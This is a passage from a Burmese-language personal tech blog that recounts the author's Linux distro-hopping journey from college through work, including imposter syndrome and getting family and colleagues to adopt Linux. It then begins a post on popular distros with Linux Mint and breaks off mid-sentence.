# ITmatic101 - နည်းပညာဆိုင်ရာ Blog

မြန်မာလိုရေးသားချက်များ

**Author**: Tyla Lin\
**LinkedIn**: <https://www.linkedin.com/in/tyla-lin/>\
**YouTube**: <https://www.youtube.com/@itmatic1010>\
**Email**: <itmatic101@gmail.com>


# Linux distro-hopper ခရီးကြမ်း

အချို့ကတော့ Linux ကိုစပြီးအသုံးပြုကတည်းက Fedora ကို Gnome DE နဲ့ သုံးတယ်၊ အချို့ကလည်း Debian ကို KDE လေးနဲ့သုံးမှာ အထာကြတယ်လို့ထင်တယ်၊ အခြားသောသူတွေကတော့ Slackware ကိုမှ Lightweight DE တစ်ခုခုနဲ့ တွဲပြီးတော့ အသုံးပြုသင့်တယ်လို့ အကြံပြုကြတယ်၊ အဲ… ကျန်တဲ့လူတွေကတော့ Arch မှ Arch ပဲဆိုတဲ့ အလဲထိုးမယ့် Linux သမားတွေလည်း ရှိနေပြန်တယ်။ အကုန်ချရေးလို့ကတော့ ပြီးမှာမဟုတ်လို့ ဆက်ပြီးတော့ မရေးတော့ပါဘူး။ စာဖတ်သူတွေလည်း သိတဲ့အတိုင်း Linux မှာ ရွေးချယ်စရာများလွန်းလို့ စာရေးသူ အစပိုင်းမှာ လူကြိုက်များတဲ့ Linux distro ၁၀ခုကို ရွေးချယ်ပြီးတော့ စပြီးတော့ စာတွေရေးဖြစ်ပါတယ်။ ရွေးထားတဲ့ distro ထဲမှာကိုယ်တိုင်ထဲထဲဝင်ဝင် အသုံးပြုဖူးလို့ သိလို့ဆက်စပ်ပြီးတော့ ရေးဖြစ်တဲ့ အကြောင်းလေးတွေပါသလို၊ အစိမ်းသက်သက်ဟိုရှာဒီရှာနဲ့ ရေးဖြစ်တဲ့ distro လေးတွေလည်း ပါခဲ့ပါတယ်။ တချို့ distro တွေကိုတော့ ကိုယ်တိုင် virtual machine တွေပေါ်မှာ install လုပ်ပြီးတော့ စမ်းသပ်အသုံးပြုရတာတွေလည်း ရှိခဲ့ပါတယ်။ စမ်းသပ်အသုံးပြုရင်းနဲ့ ကြိုက်နှစ်သက်သွားတဲ့ distro တွေလည်းရှိခဲ့ပါတယ်။ Manjaro လိုမျိုး distro တွေဆိုရင် အဲ့ဒီ အချိန်တုန်းက ထွက်တာမကြာသေးလို့ material တွေအများကြီးရှာမရလို့ ကိုယ်တိုင် install လုပ်ပြီးတော့ ကိုယ်သိချင်တဲ့ဟာတွေကို ရှာပြီးတော့မှ ချပြီးရေးပြရတဲ့ ဟာတွေလည်းရှိခဲ့ပါတယ်။ နောက်ပိုင်းမှာလည်း Manjaro ကိုပြန်ပြီးတော့ အချိန်တော်တော်ကြာကြာ သုံးဖြစ်တဲ့ အခါတွေလည်းရှိခဲ့ပါတယ်။ အဲ့ဒီကစလို့ ဟို distro ကို စမ်းသုံးလိုက် ဟို distro ကိုစမ်းသုံးလိုက်နဲ့ distro-hopper ဖြစ်ရင်း မသိဖြစ်လို့လာပါတော့တယ်။ Distro တစ်ခုကိုသုံးရင်လည်း အချိန်ပေးပြီးတော့ နေ့စဉ်သုံးဖြစ်အောင်လို့ ကိုယ်နေ့တိုင်းသုံးတဲ့ စက်မှာ standalone ပဲတင်ပြီးတော့ သုံးလာခဲ့ပါတယ်။

အပြောလွယ်သလောက် လိုအပ်တဲ့ material တွေကို ရှာဖွေမွေနှောက်ပြီးတော့မှ စာနဲ့ရေးချပြရတာလည်း တော်တော်လေးကို မလွယ်တဲ့ ကိစ္စတစ်ခုပါ။ သို့သော် အဲ့ဒီတုန်းက သိချင်ဇောတွေ ကပ်နေသလောက်၊ ပြန်ပြီးတော့ ပြောပြချင်ဇောလည်း မကင်းတာကြောင့် တောက်လျှောက်ချရေးဖြစ်ပါတော့တယ်။ အဲ့ဒီနောက် desktop environment တွေအကြောင်း၊ Linux နဲ့ Open Source မှာအသုံးပြုတဲ့ software license လေးတွေအကြောင်းလေးတွေအပြင် အခြားသော Linux နဲ့ ပတ်သတ်တဲ့ အကြောင်းအရာ တော်တော်များများကို လေ့လာရင်း ပြန်ရေးချရင်းနဲ့ အခုချိန်ထိ လေ့လာသလောက် အသိက မဝနိုင်သေးတာမို့၊ ဆက်ရှာ ဆက်လေ့လာ ဆက်သင်ယူပြီးတော့မှ ဆက်ပြီးတော့ ပြန်လည်မျှဝေ နိုင်သလောက် မျှဝေပါတယ်။ စာရေးသူအတွက် အကျိုးမယုတ်သလို ဒီစာကို ဖတ်ဖြစ်တဲ့သူတွေ အတွက်လည်း အကျိုးရှိနိုင်မယ်လို့ ယူဆရပါတယ်။ အဲ့ဒါကြောင့် ဒီလိုမျိုးစာတွေကို အများကြီးဆက်ရေးသွားဖို့ စဉ်းစားထားပါတယ်။ ဒီ post မှာတော့ စာရေးသူ ကိုယ်တိုင် ကြုံတွေ့ ခဲ့ရတဲ့ Linux နဲ့ ပတ်သတ်တဲ့ အတွေ့အကြုံ အချို့ကိုမျှဝေရင်း၊ ကိုယ်အသုံးပြုခဲ့ဖူးတဲ့ distro တွေနဲ့ စတင်ထိတွေ့ ခဲ့ရ ပုံတွေကို အနည်းငယ်ချပြလိုတဲ့ ဆန္ဒနဲ့ ဒီစာတွေကို ရေးဖြစ်သွားတာပါ။

### ပထမံ distro နှင့်တွေ့ဆုံခြင်း

စာရေးသူရဲ့ ပထမဆုံး အသုံးပြုဖူးတဲ့ Linux distro ကတော့ OpenSUSE နဲ့ Ubuntu ဖြစ်ပါတယ်။ အချိန်အားဖြင့်တော့ ၂၀၀၈ ၂၀၀၉ လောက်ကဖြစ်ပါတယ်။ အဲ့ဒီအချိန်တုန်းက နည်းပညာကောလိပ်မှာ ပညာသင်ကြားနေတဲ့ အချိန်မို့ သင်ကြားပို့ချတဲ့ ဆရာကရွေးတဲ့ distro နဲ့ Linux မှာရနိုင်တဲ့ နည်းပညာတွေကို သင်ယူရပါတယ်။ OpenSUSE ကို Linux server အတန်းမှာ Gnome DE နဲ့ ဆရာကသင်ကြားပို့ချပါတယ်။ နောက်အတန်းမှာတော့ Ubuntu ကို Desktop Linux အနေနဲ့ အသုံးပြုပြီးတော့ သင်ပါတယ်။ မှတ်မှတ်ရရ အဲ့ဒီ အချိန်က Unity DE ထွက်စမို့ အမြင်အားဖြင့် ကြည့်ကောင်းတဲ့ Linux distro ပါ။ အခြေခံလောက်သာ သင်ကြားပို့ချခြင်း ဖြစ်တဲ့အတွက် ကိုယ်တိုင်လည်း စာသဘောမျိုးသာ လေ့လာခဲ့ပါတယ်။ ကိုယ်တိုင်အသုံးပြုဖို့ထိ၊ Linux ကိုရင်ထဲမှာ စွဲပြီးတော့ကျန်နေအောင်လို့ ကြိုက်ခဲ့တာမျိုး မရှိခဲ့ပါဘူး။ Desktop Linux အတန်းမှာတော့ Ubuntu ကို Unity နဲ့သုံးပြီးတော့ desktop တစ်ခုမှာ MS Windows ကနေ Desktop Linux မှာ ဘယ်လိုမျိုး navigate လုပ်နိုင်သလဲဆိုတာ translate လုပ်လို့ရအောင်သာ သင်ကြားပို့ချတာကို မှတ်မိပါတယ်။ ဘယ်ကြောင့် Linux ဟာ Windows ထက် superior ဖြစ်သလဲဆိုတဲ့ အကြောင်းပြချက် ကောင်းကောင်းမရှိခဲ့ပါဘူး။ ကိုယ်တိုင်လည်း ကိုယ့် laptop မှာ Windows XP ပြီးတော့ Windows 7 နဲ့ အဆင်ပြေနေတဲ့အတွက် Linux ကိုတော့ဖြင့် စမ်းသုံးကြည့်မယ်ဆိုတဲ့ စိတ်မျိုးလည်း မဖြစ်ခဲ့ဘူးပါ။ မှတ်မိသလောက်တော့ OpenSUSE ကို ကိုယ့်စက်မှာ စမ်းသပ်ပြီးတော့ တစ်ခေါက်နှစ်ခေါက်လောက်တော့ သုံးကြည့်ဖြစ်ပါတယ်။ သိပ်မကြာခင်မှာ Windows ကိုပဲ ပြန်တင်ရတဲ့ အဖြစ်ကို အခုချိန်ထိမှတ်မိနေပါတယ်။ အဲ့ဒီအချိန်က ကျောင်းစာတဘက် အလုပ်တဘက်နဲ့မို့ ကိုယ်တိုင်လည်း အချိန်အများကြီး မပေးနိုင်ပါဘူး။

ထူးခြားတဲ့အချက်က Linux server အတန်းကိုတင်တဲ့ ဆရာက နည်းနည်း အသက်လည်းကြီးပြီးတော့ နည်းပညာဘက်မှာ နည်းနည်း geek တယ်လို့ ဆိုရမှာဖြစ်ပါတယ်။ ဆရာကိုယ်တိုင်က Linux ကို ထဲထဲဝင်ဝင် လေ့လာဘူးပြီးတော့ ကိုယ်တိုင်လည်း အသုံးပြုတဲ့ပုံရပါတယ်။ သူကိုယ်တိုင် OpenSUSE ကို Linux server အနေနဲ့ အသုံးပြုဖို့အတွက်ရွေးချယ်တာဖြစ်ပြီးတော့ Linux ကမ္ဘာမှာ ရနိုင်တဲ့ tools တွေတော်တော်များများကို curriculum ထဲမှာထည့်သွင်းသင်ကြားပါတယ်။ အဲ့ဒီအချိန်ကတော့ ကိုယ့်အတွက်က SAMBA တို့ Apache တို့ Postfix တို့ SquirrelMail တို့ ဆိုတာ အထူးအဆန်းတွေပါ။ သင်ကြားရတဲ့ topic တွေကတော့ အများကြီးပါ။ လက်တွေ့မှာလည်း ဘယ်လို လက်တွေ့ အသုံးချရသလဲဆိုတာလည်း သေချာမသိသော်လည်း နေ့စဉ် ကိုယ် lab ထဲမှာ tutorials တွေကိုလုပ်ရင်း နည်းနည်းတော့ အရသာတွေ့ခဲ့ဘူးပါတယ်။ အဲ့ဒါကြောင့်လည်း OpenSUSE ကို စာရေးသူရဲ့ Compaq laptop အစုတ်လေးပေါ်မှာ စမ်းသပ်ဖို့ ဖြစ်လာရပါတယ်။ Linux ကို ဆက်ပြီးတော့ မသုံးဖြစ် မစမ်းဖြစ်တာကလည်း ကိုယ့်ပတ်ဝန်းကျင်မှာ သုံးတဲ့သူ မရှိသလို၊ Linux အကြောင်းကို ဘယ်ကနေဘယ်လို့ ရှာဖွေ ဖတ်ရကောင်းမှန်းလည်း မသိခဲ့ပါဘူး။ Mentor ကောင်းကောင်းတစ်ယောက်လောက် ရှိခဲ့ရင် စာရေးသူရဲ့ Linux ခရီးစတာ ဒီထက်ပိုပြီးတော့ နည်းနည်းစောနိုင်ချေရှိပါတယ်။ သို့သော် အကြောင်းမညီညွှတ်ခဲ့လို့ အဲ့ဒီ အချိန်က ကျောင်းစာအနေနဲ့သာ လေ့လာဖြစ်ခဲ့ပါတယ်။ မည်သို့ပင်ဖြစ်စေ Linux ဆိုတာကြီးတော့ တနည်းမဟုတ် တနည်းနဲ့တော့ လေ့လာဖြစ်ခဲ့ပါတယ်။ Linux နဲ့ ပတ်သတ်ပြီးတော့ passion ရှိခဲ့သလားဆိုတော့ အဲ့ဒီ အချိန်က တကယ်ကိုမရှိရိုး အမှန်ပါ။ OpenSUSE ဟာ စာရေးသူအတွက်တော့ Linux ခရီးမှတ်တမ်းမှာ စတင်မှတ်လို့ ပြောရင် လွန်နိုင်မယ်မထင်ပါ။

### တကြော့ပြန် Linux ခရီးစဉ်

စာရေးသူ ၂၀၁၀ ခုနှစ်မှာ နည်းပညာ တက္ကသိုလ် ဆက်လက်တက်ရောက်ခဲ့ပြီးတော့ တဘက်မှာလည်း ကိုယ်တက်ခဲ့ နည်းပညာကောလိပ်မှာ အချိန်ပိုင်းဆရာဖြစ် အလုပ်ပြန်ဝင်ခဲ့ပါတယ်။ ကိုယ်တိုင် တက္ကသိုလ် မှာလေ့လာ နေရတဲ့အပြင်၊ အလုပ်မှာပြန်လည်း သင်ကြားဖို့ကိုလည်း စာတွေအများကြီး ပြန်ဖတ်ပြီးတော့ အတန်းတွေထဲမှာ ကိုယ်သင်ကြားမယ့် ဘာသာရပ်တွေကို ပြင်ဆင်၊ စာမေးပွဲမေးခွန်းတွေ ထုတ်နဲ့ တော်တော်လေးကို အလုပ်ရှုပ်ရပြန်ပါတယ်။ ကိုယ့်ဘဝမှာ အခြားဦးစားပေးရမယ့် အရာတွေ၊ ဦးစားပေးခဲ့တဲ့ အရာတွေ အများကြီးရှိနေတာမို့ နည်းပညာနဲ့ ပတ်သတ်ရင် နည်းနည်းအလှမ်းဝေး လာသလိုလည်း ကိုယ်တိုင် ခံစားလောခဲ့ရပါတယ်။ အမှန်အတိုင်း ဝန်ခံရရင် imposter syndrome ဆိုတာမျိုး ကိုယ့်မှာ ရှိနေခဲ့ပါတယ်။ ကိုယ်တိုင်က ကျောင်းမှာ အချိန်ပိုင်း IT ဆရာလည်းဖြစ်၊ တက္ကသိုလ်မှာလည်း project နဲ့ assignment တော်တော်များများ team leader မျိုးနေရာတာဝန်ယူရတဲ့ အတွက် အနည်းနဲ့ အများတော့ ကိုယ့်မှာ စိတ်ဖိစီးမှု ရှိခဲ့တာအမှန်ပါ။ တဘက်မှာလည်း imposter syndrome ဆိုတဲ့ လက္ခဏာတွေကို ကိုယ်ဆီမှာ ရှိနေတယ်ဆိုတာကိုလည်း သိလာနေပါတယ်။ အဲ… imposter syndrome ဆိုတာ မသိသေးတဲ့သူရှိ ရင်တော့ နည်းနည်းရှင်းပြချင်ပါတယ်။ အခုနောက်ပိုင်း ကိုယ်နဲ့ ဆိုင်တဲ့ ပညာရပ်တော်တော်များများမှာ လူတွေဟာ imposter syndrome ရှိတယ်လို့ အပြောများလာကြပါတယ်။ imposter ဆိုတာ တိုက်ရိုက်ဘာသာပြန် လိုက်ရင်တော့ လူလိမ်လူညာ လို့ဘာသာပြန်ရပါ့မယ်။ အခြားလူတွေကို လိမ်ဖို့အတွက် ဟန်ဆောင်ပြီးတော့ သိချင်ယောင် တတ်ချင်ယောင်ဆောင်တာမျိုးကို imposter လို့သုံးနုံးပါတယ်။ IT မှာလည်း imposter syndrome ဆိုတာမျိုးက ကိုယ်တိုင် အလုံးစုံး မသိပါပဲနဲ့ သိချင်ယောင်ဆောင်ပြီးတော့ အလုပ်ခွင်မှာ နေ့စဉ် လိမ်ညာနေကြတာမျိုး အခုနောက်ပိုင်းမှာ အများကြီးတွေ့ကြရပါတယ်။ အထူးသဖြင့် IT နည်းပညာဆိုင်ရာ လေ့လောစရာတွေဟာ တော်တော်လေးကိုများပြီးတော့ နေ့စဉ် အသစ်အသစ်တွေ ထွက်လာတာမို့ ကိုယ်တိုင် ရေစီးကြောင်းနဲ့ မလိုက်ရင် ကမ်းတဘက်မှာ ကပ်ပြီးတော့ ကျန်နေနိုင်တာမို့ တောက်လောက်လိုက်ရပါတယ်။ သို့သော် ထိုစဉ်တုန်းက ကျောင်းတဘက် စာသင်တဘက်မို့ လက်တွေ့သင်ယူစရာ အများကြီးကို ကိုယ်တိုင် မလေ့လာ မသင်ယူခဲ့မိပါဘူး။ သို့သော် စာသင်ခန်းထဲမှာတော့ ကိုယ်က အချိန်ပိုင်း ဆရာတစ်ယောက်ဖြစ်တဲ့အတွက် အဆင်ပြေအောင်တော့ ကြည့်ပြီးတော့ သင်ကြားပို့ချခဲ့ပါတယ်။ စာရေးသူ မသိတဲ့ဟာတွေကိုတော့ ကျောင်းသားတွေကို မသိတဲ့ အကြောင်း ပွင့်ပွင့်လင်းလင်းပဲပြောပြပြီးတော့ ပိုမိုသိရှိလာအောင်တော့ ထပ်ကာထပ်ကာလေ့လာ ရပါတယ်။ စာတွေ့လောက်သာ သိတဲ့အသိမျိုးများလို့ imposter syndrome ဖြစ်လာခဲ့ပုံရပါတယ်။

အခုအချိန်ထိလည်း ကိုယ်တိုင် မကြာခဏ ပြန်လည်သုံးသပ်ရပါတယ်။ ကိုယ်ဘယ်လောက်သိဖို့လိုသလဲ၊ ကိုယ်ဘယ်လောက်ပဲသိသလဲ၊ ကိုယ်ဒီလောက်ပဲသိပြီးတော့ ဟိုလောက်သိချင်ယောင်ဆောင် နေသလား ဆိုတာမျိုးက နေ့စဉ် အလုပ်ခွင်မှာ ကိုယ်ရော ကိုယ်နဲ့ အလုပ်တွဲလုပ်တဲ့ သူတွေရောပါ သိသာမြင်သာ ရှိအောင်လို့ စာရေးသူ အမြဲကြိုးစားပြီးတော့ နေပါတယ်။ အဲ့ဒီအတွက်ရလဒ်ကတော့ အလုပ်ခွင်မှာ အားလုံးစိတ်ချမ်းရပါတယ်။ နေ့စဉ်အလုပ်တက်ရင်း ကိုယ်မသိသေးတဲ့ ဟာတွေကို ကိုယ့်ဘက်က ဟန်ဆောင်နေစရာမလိုပဲနဲ့ ကိုယ်နဲ့ တွဲလုပ်တဲ့ စိတ်တူကိုယ်တူ အလုပ်ဖော်တွေ senior engineer တွေစီမှာ အားမနာတမ်းမေးပါတယ်။ သူတို့လည်း ကိုယ့်ကို သူတို့မသိရင် မသိတဲ့အကြောင်း ပြောပြီးတော့ ကိုယ့်ကို မေးကြပါတယ်။ တကယ်ကို imposter syndrome ကင်းစင်တဲ့ work environment တစ်ခုကို တဖြေးဖြေးတည်ဆောက်နိုင်ခဲ့ပါတယ်။ အဖွဲ့အစည်းနဲ့ လုပ်ရတာဖြစ်တဲ့အတွက် အလုပ်ခွင်တိုင်းမှာ လူတိုင်း imposter syndrome လုံးဝမရှိအောင်လုပ်ဖို့ကတော့ မဖြစ်နိုင်ပါ။

သက္ကရာဇ် ၂၀၁၁ ခုနှစ် မှာတော့ စာရေးသူ တက္ကသိုလ်ပြီးပြီးတော့ ၂၀၁၄ခုနှစ်ထိ နည်းပညာကောလိပ်မှာပဲ စာဆက်သင်ပါတယ်။ ၂၀၁၅ခုနှစ်မှာတော့ အထက်မှာပြောတဲ့ imposter syndrome ကြောင့် စာသင်ကြားတဲ့ အလုပ်ကနေ ကိုယ့်သဘောနဲ့ ထွက်ပြီးတော့ technical ပိုဖြစ်မယ့် IT technician role တစ်ခုနဲ့ အစကနေပြန်စခဲ့ပါတယ်။ ၂၀၁၅ နှောင်းပိုင်းမှာပဲ အလုပ်ခွင်က ကိုယ်နဲ့ အလုပ်တွဲလုပ်တဲ့ လုပ်ဖော်ကိုင်ဖက် တစ်ယောက်ကြောင့် Linux ကို စိတ်ပါလာရပြန်ပါတယ်။ သူကကိုယ့် အတွက် mentor မျိုးမဟုတ်ခဲ့ပေမယ့်၊ Linux နဲ့ ပတ်သတ်တဲ့ topic တွေကို သူနဲ့ တပတ်နှစ်ခါသုံးခါလောက်တော့ ဆွေးနွေးဖြစ်တဲ့အတွက် ကိုယ့် Linux ခရီးစဉ် အတွက် အများကြီးအထောက်အကူပြုခဲ့ပါတယ်။ အဲ့ဒီမှာ စာရေးသူ Ubuntu 14.04 LTS နဲ့ ပြန်လည် စတင်ခဲ့ပါတယ်။ ကိုယ့်ကို Linux ပြန်လည် မိတ်ဆက်ပေးခဲ့တဲ့ လုပ်ဖော်ကိုင်ဖက်ကတော့ Fedora သုံးတဲ့သူတစ်ယောက်ပါ။ အစပိုင်းမှာတော့ Ubuntu 14.04 LTS desktop Linux ကိုသာ အသုံးပြုဖြစ်ပြီးတော့ Linux server ရဲ့ အစွမ်းအစတွေကို မသိခဲ့ရိုး အမှန်ပါ။ နောက်ပိုင်းမှာတော့ ကိုယ်တိုင်လေ့လာရင်း၊ ကိုယ်တိုင်သုံးစွဲသူ တစ်ယောက်ဖြစ်လာပြီးတဲ့အပြင်၊ ပြန်လည်မျှဝေ သူတစ်ယောက်ဖြစ်မှန်းမသိဖြစ်လာခဲ့ရပါတယ်။

### အမှန်အကန်သုံးစွဲသူ တစ်ယောက်အကြောင်း

အထက်မှာပြောခဲ့သလိုပဲ၊ ၂၀၁၅ ခုနှစ်၂၀၁၆ခုနှစ်မှာစပြီးတော့ စာရေးသူ Linux ကိုထဲထဲဝင်ဝင်အသုံးပြုလာပြီးတော့၊ Linux အကြောင်းကိုအများကြီးလေ့လာဖို့ရာဖြစ်လာပါတော့တယ်။ ဟိုရှာဖတ်ဒီရှာဖတ်နဲ့ နည်းနည်းပိုသိလာသလို၊ Linux ကိုလက်တွေ့မှာ ကိုယ်အတွက် အသုံးဝင်လုပ်မလဲဆိုတာ သိဖို့အတွက် Linux Foundation က course တွေကို ကိုယ်အားတဲ့ အချိန်တိုင်းမှာလေ့လာခဲ့ပါတယ်။ နောက်တော့… ၂၀၁၆ခုနှစ်ကုန်ခါနီးလောက်မှာတော့ ဒီ Linux နဲ့ ပတ်သတ်တဲ့ post လေးတွေကို ပြန်လည်မျှဝေဖို့အတွက် စဥ်းစားမိရာကနေ စတင်မိခဲ့ပါတယ်။ ကိုယ်တိုင်လည်းအများကြီးမသိသေးလို့ basic ပဲလုပ်မယ်ကွာ၊ basic နဲ့ပဲစမယ်ကွာ ဆိုပြီးတော့ itmatic101 ဆိုပြီးတော့ ရွေးချယ်ခဲ့ပါတယ်။ နောက်တစ်ခုက ကိုယ်တိုင်ကလည်း coding သမားတစ်ယောက် မဟုတ်တဲ့အတွက် Linux နဲ့ Linux ရဲ့project လေးတွေမှာ ဘယ်ကနေ ဘယ်လိုစပြီးတော့ contribute လုပ်ရမလဲဆိုတာလည်း မသိလို့၊ ဒီလို Linux နဲ့ ပတ်သတ်တဲ့ အကြောင်းလေးတွေ ရေးဖြစ်ရင် မသိသေးတဲ့သူတွေသိလာမယ်၊ သိပြီးတဲ့သူတွေလည်း Linux ရဲ့ ecosystem ကို ဒီထက်ပိုပြီးတော့ appreciate လုပ်နိုင်အောင်လို့ စဥ်းစားမိလို့ အချိန်ရတိုင်း စာတွေပြန်ရေးဖြစ်ခဲ့ပါတယ်။ အဓိက အနေနဲ့တော့ Linux ဆိုတာကို လူတွေပိုသိလာအောင်လို့ ရည်ညွန်းပြီးတော့ community ကို တဘက်တလှမ်းကနေ contribute လုပ်မယ်ဆိုပြီးတော့ အကြံရခဲ့ပါတယ်။ အဲ့ဒါကြောင့်လည်း ဒီ blog ကိုစတင်ခဲ့ကတည်းက monetize လုပ်ဖို့ လုံးဝအစီအစဉ် မရှိပါဘူး။ ကိုယ်သိတဲ့ဟာကို ကိုယ်တိုင်ချရေးရင်း ကိုယ့်အတွက်လည်း note တစ်ခုအနေနဲ့ ဖြစ်သလို၊ ကိုယ့်လိုမျိုး စိတ်တူကိုယ်တူတွေ ရှာဖွေရင်း ဖတ်လို့ရအောင်လို့ အခုလို စာတွေကို ရေးဖြစ်ပါတယ်။

Blog တွေစရေးတုန်းက အထက်မှာပြောသလိုပဲ၊ Linux ရဲ့ distro တွေ အကြောင်းကို ရေးဖို့ရာအတွက် ကိုယ်ရွေးထားတဲ့ distro တွေကို VM ပေါ်မှာ install လုပ်ပြီးတော့ စမ်းသပ်အသုံးပြုရပါတော့တယ်။ အချိန်လည်းအများကြီးသုံးရသလို အများကြီးလည်းပိုသိလာရတဲ့အပြင် ကိုယ်တိုင်လည်း Nix နဲ့ပတ်သတ်လာရင် တော်တော်လေးကို ကြွေခဲ့တဲ့ အထိဖြစ်လာပါတော့တယ်။ နောက်ပိုင်းတော့ အိမ်မှာသုံးတဲ့ server ကိုလည်း Linux တင်၊ ကိုယ့်အိမ်က firewall/router ကိုလည်း BSD ကိုအခြေခံထားတဲ့ pfSense ပြီးတော့ OPNsense တင်ပြီးတော့အသုံးပြုဖြစ်ပါတယ်။ နောက်ပြီးတော့ raspberry pi 3 ထွက်ကာစတည်းက တစ်လုံးဝယ်ထားပြီးတော့ ကိုယ့်အိမ်မှာ လိုအပ်တဲ့ ဟာလေးတွေကို ဆင်ပြီးတော့မှ အသုံးပြုဖြစ်ပါတယ်။ အကောင်သေးသလောက် အစွမ်းလည်း တော်တော်ထက်တဲ့ RPI 3 လို့ဆိုရမှာပါ။ ကိုယ်တိုင်အသုံးပြုရင်နဲ့ administer လုပ်ရင်း သိလာတာတစ်ခုက၊ Windows လိုမျိုး proprietary လိုမျိုး OS တွေထက်အများ ထိန်းသိမ်းရတာလွယ်ပြီးတော့၊ troubleshoot လုပ်ဖို့လိုရင်လည်း community တွေမှာရနိုင်တဲ့ resource တွေက proprietary တွေထက် ပိုပြီးတော့ ပေါများတာကို သိလာရပါတယ်။ Linux ရဲ့ community တွေကတော့ Linux မှာရနိုင်တဲ့ အကောင်းဆုံးသော အရာလို့ပြောရင်လည်း မမှားပါဘူး။ ၂၀၁၇ ခုနှစ် ၂၀၁၈ခုနှစ်မှာတော့ စာရေးသူအသုံးပြုတဲ့ computer တွေ laptop တွေမှာ Linux ကိုပဲ standalone install ပါတော့တယ်။ အဲ့ဒီ မတိုင်ခင်ကတော့ Windows host ပေါ်မှာမှ VM တင်ပြီးတော့ သုံးရင်သုံး၊ အဲ့ဒါမှမဟုတ်ရင် Windows နဲ့ Linux ကို dual boot တင်ပြီးတော့ သုံးပါတယ်။ နောက်မှာတော့ Windows update ရဲ့နှိပ်စပ်တဲ့ ဒဏ်နဲ့ GRUB ကို ပြန်လည် ခဏခဏပြင်ရတာကို မလိုချင်တော့လို့ Windows ကို အပြီးအပိုင်း စွန့်ခွာခဲ့ပါတော့တယ်။ ကိုယ်သုံးတဲ့ စက်တွေအပြင် စာရေးသူ အဖေသုံးတဲ့ laptop အဟောင်း နဲ့ ညီဖြစ်သူရဲ့ Windows တင်သုံးရင် အရမ်းလေးတဲ့ laptop တွေပေါ်မှာ Linux distro ပေါင်းစုံကို install လုပ်ပေးပြီးတော့ စမ်းသပ် အသုံးပြုစေခဲ့ပါတယ်။ အားလုံးအဆင်ပြေတဲ့အတွက် သူတို့လည်း Windows ဘက်ကိုပြန်မရောက်တော့ပါဘူး။ အောင်မြင်တဲ့ Linux adoption လို့ဆိုရမှာဖြစ်ပါတယ်။ အခုဆိုရင် စာရေးသူ အလုပ်မှာသုံးတဲ့ Laptop နဲ့ ညီဖြစ်သူရဲ့ Gaming PC နှစ်ခုသာ Windows ကျန်ပါတော့တယ်။

အလုပ်က laptop က specs မြင့်လို့ VMware player တင်ပြီးတော့ Linux ကို VM အနေနဲ့ run ပြီးတော့ နေ့စဉ် အသုံးပြုတဲ့ workhorse တခုအနေနဲ့ သုံးပါတယ်။ စာရေးသူရဲ့ workflow နဲ့ လက်ရှိမှာတော့ အဆင်ပြေတာကတော့ Ubuntu 18.04 LTS ပါ။ အဲ့ဒီမတိုင်ခင်ကတော့ Lubuntu ကိုတင်ပြီးတော့ သုံးပါတယ်။ အခွင့်သာရင်သာသလို ကိုယ့်အိမ်က စက်တွေမှာ Fedora၊ Manjaro နဲ့ တခြားသော အထူးအဆန်း distro လေးတွေကို လှည့်ပြီးတော့ အသုံးပြုပါတယ်။ Distro hopping လုပ်ရတာ အာရုံများပြီး အချိန်တော်တော်လေးတော့ ကုန်တဲ့ ကိစ္စပါ။ သို့သော် Linux မှာရနိုင်တဲ့ open source အခွင့်အရေး အကုန်ယူတယ်လို့ဆိုရမှာပါ။

စာရေးသူအိမ်မှာ Linux adoption အောင်မြင်တာတွေ့လို့ အလုပ်မှာကိုယ်နဲ့ team တစ်ခုတည်းမှာလုပ်တဲ့ လုပ်ဖော်ကိုင်ဖက် တွေကို Linux VM နဲ့ အလုပ်လုပ်ကြည့်ဖို့ စတင်တိုက်တွန်းရာကနေ အခုဆိုရင်ကိုယ့်ရဲ့ junior technician/engineer တွေကော senior engineer တွေပါ Linux ကိုပဲ အားကိုးပြီး နေ့စဉ် သူတို့ရဲ့ workflow နဲ့သူတို့ အလုပ်လုပ်ကြပါတော့တယ်။ စာရေးသူ နေ့တိုင်းအလုပ်မှာ Linux VM ကိုသုံးတာတွေတိုင်း ပီတိဖြစ်ရပါတယ်။ Linux နဲ့ပတ်သတ်တဲ့ support ကိုတော့ ကိုယ်တက်နိုင်သလောက် ကူညီရင်း ဖြေရှင်းရပါတယ်။ ကိုယ်လည်း အသစ်အသစ် တွေထပ်ပြီးတော့ လေ့လာရ သင်ယူရပါတယ်။ Linux server တွေကိုလည်း တချိန်တည်းမှာ ကိုယ့်အလုပ်အတွက် လိုအပ်တဲ့ နေရာတိုင်း ကိုယ်တိုင် setup လုပ်၊ ကိုယ်တိုင် sysadmin လုပ်၊ ကိုယ်တိုင် solution ရှာလုပ်လာခဲ့ရာကနေ စာရေးသူအတွက်တော့ Linux ခရီး တော်တော်ပေါက်ခဲ့တယ်လို့ဆိုရမှာပါ။

ဒါကတော့ စာရေးသူကိုယ်တိုင်တွေ့ကြုံခဲ့ရတဲ့ Linux distro-hopper ခရီးကြမ်းပါ။ နောက်ပြန်လှည့်ကြည့်တဲအခါ မပြည့်စုံတာကို တွေ့တိုင်း အခုလက်ရှိအခြေအနေက ထင်သလောက် မဆိုးသေးဘူးလို့ သုံးသပ်မိပါတယ်။ ဒီလိုနဲ့ ဆက်လက်သင်ယူဖို့အတွက် ခွန်အားအသစ်အသစ် တွေဖြစ်ရပါတယ်။ စာဖတ်သူတွေလည်း နည်းပညာလောကကြီးရဲ့ ပင်လယ်ကွေ့ တစ်ခုတစ်ခုစီမှာ စီးမျောလိုက်ပါရင်း ကမ်းမကပ်သွားမိအောင် ခွန်အားအသစ်တွေရနိုင်ပါစေသော်။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၁)

**၁. Mint**

Microsoft Windows နဲ့ Apple MacOS တွေက ရုံးသုံးနဲ့ အိမ်သုံး ကွန်ပြူတာများ အတွက်တော့ လက်ရှိအချိန်ထိ လူသုံးများ နေဆဲပါ။ အဓိက အားဖြင့်တော့ Windows OS တွေကတော့ သာမန်ရုံးသုံးတွေမှာ သူ့ရဲ့ Office Suite ကြောင့်သုံးနေရတုန်းပါ။ ဥပမာအနေနဲ့ပြောရရင် ရုံးအတွက် နာမည်ကျော် Microsoft Exchange ကို mail server အနေနဲ့သုံးမယ်ဆိုရင် Microsoft Office ရဲ့ Outlook လို email client တွေကသုံးနေရမှာပါ။ Linux ရဲ့ LibreOffice Suite က Microsoft Office Suite ရဲ့ Word၊ Excel၊ PowerPoint တို့လို ရုံးသုံး application တွေကို အစားထိုးသုံးရတာ 